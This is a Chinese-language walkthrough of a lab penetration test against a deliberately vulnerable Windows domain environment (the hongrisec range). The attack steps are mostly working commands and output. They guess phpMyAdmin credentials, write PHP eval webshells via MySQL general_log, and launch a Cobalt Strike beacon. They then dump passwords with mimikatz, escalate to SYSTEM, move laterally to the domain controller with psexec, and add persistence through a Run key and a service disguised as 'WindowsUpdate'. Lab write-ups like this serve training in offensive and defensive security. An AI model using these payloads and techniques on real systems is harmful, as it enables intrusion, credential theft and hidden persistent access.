赞
踩
靶机Windows 7 x64
为web服务器,应设置为双网卡主机,其中NAT网卡与攻击机相连,VMnet1网卡与其他两台靶机相连 (图中设置错误,应设置网络适配器1为VMnet1)
靶机Win2K3 Metasploitable
为域成员,应设置为VMnet1网卡
靶机Windows Server 2008 R2 x64
为域控,应设置为VMnet1网卡(如果无法连接网卡,则删除再添加即可)
VMnet1网卡为仅主机模式,设置IP段为192.168.52.0,确保三台主机均可以相互ping通
所有主机密码均为hongrisec@2019
,但是两台winserver主机均会提示密码已过期,所以这里将三台主机的密码均改为hongrisec@2024
最后登录Windows 7 x64
,在C盘根目录下有phpstudy,打开并启动web服务器
nmap发现主机
sudo nmap -sV -A -p- 192.168.164.0/24 Nmap scan report for 192.168.164.162 Host is up (0.00055s latency). Not shown: 65532 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45) |_http-title: phpStudy \xE6\x8E\xA2\xE9\x92\x88 2014 |_http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45 135/tcp open msrpc Microsoft Windows RPC 3306/tcp open mysql MySQL (unauthorized) MAC Address: 00:0C:29:F8:A3:53 (VMware) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: phone|specialized|general purpose Running (JUST GUESSING): Microsoft Windows Phone|7|8.1|2008|Vista (96%) OS CPE: cpe:/o:microsoft:windows cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_8.1:r1 cpe:/o:microsoft:windows_server_2008::beta3 cpe:/o:microsoft:windows_server_2008 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows_8 Aggressive OS guesses: Microsoft Windows Phone 7.5 or 8.0 (96%), Microsoft Windows Embedded Standard 7 (96%), Microsoft Windows 8.1 R1 (94%), Microsoft Windows Server 2008 or 2008 Beta 3 (92%), Microsoft Windows Server 2008 R2 or Windows 8.1 (92%), Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7 (92%), Microsoft Windows Vista SP2, Windows 7 SP1, or Windows Server 2008 (92%), Microsoft Windows Server 2008 R2 SP1 (90%), Microsoft Windows Server 2008 SP1 (89%), Microsoft Windows 7 Professional or Windows 8 (89%) No exact OS matches for host (test conditions non-ideal). Network Distance: 1 hop Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
目录扫描
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.164.162/ -x php
/%20 (Status: 403) [Size: 210]
/l.php (Status: 200) [Size: 14737]
/L.php (Status: 200) [Size: 14737]
/*checkout*.php (Status: 403) [Size: 223]
/*checkout* (Status: 403) [Size: 219]
/phpmyadmin (Status: 301) [Size: 242] [--> http://192.168.164.162/phpmyadmin/]
发现l.php探针和phpmyadmin目录,访问探针,暴露了该服务器使用的是phpstudy,所以猜测mysql账号密码为root/root
登录成功
查询secure_file_priv参数为NULL,所以不能通过into outfile方式写马
show global variables like '%secure%';
查询是否开启日志,虽然未开启,但是可以通过SQL语句修改
show global variables like "%general_log%";
开启日志,并设置日志文件为a.php
SET GLOBAL general_log='ON';
set global general_log_file='C:\\phpStudy\\WWW\\a.php';
再次查询日志状态,发现已经更改成功
show global variables like "%general_log%";
设置成功以后,所以的查询语句都会被记录到日志文件中
select "<?php eval($_GET['a']);?>";
成功写入一句话木马
因为靶机是windows无法使用nc,笔者嫌麻烦,所以重新写入一个POST马
SELECT "<?php eval($_POST['b']);?>";
使用蚁剑连接
使用cs生成可执行程序
上传并执行,成功上线
使用mimikatz获取密码和hash
beacon> logonpasswords
为了保持会话,我们把后门注入到一个正常的程序里,但又不能影响程序运行,这里选择Everything.exe
将回连等待时间改为0,这样就能做到实时交互
[04/21 15:05:05] beacon> sleep 0
[04/21 15:05:05] [*] Tasked beacon to become interactive
[04/21 15:05:52] [+] host called home, sent: 16 bytes
依次输入命令以获取SYSTEM权限
beacon> getprivs
beacon> getsystem
探测发现还有两台主机,其中一台为PDC域控
新建一个smb监听器
选择OWA主机psexec开始横向移动
横向成功
再次横向。至此,三台主机全部上线
虽然已经拿到最高权限,但当目标主机重启或关机时,我们就会失去该主机的控制
将后门程序加入到注册表中,当系统重启后用户登录时启动后门
shell REG add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v phpstudy /d "C:\phpStudy\WWW\beacon.exe" /f
设置一个名为WindowsUpdate的系统开机自启服务,通过此命令启动的是SYSTEM权限
shell sc create "WindowsUpdate" binpath= "cmd /C start "C:\phpStudy\WWW\beacon.exe""&&sc config "WindowsUpdate" start= auto&&net start WindowsUpdate
两种方法都是在用户登录后才能上线,但第二种却直接获得SYSTEM权限
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。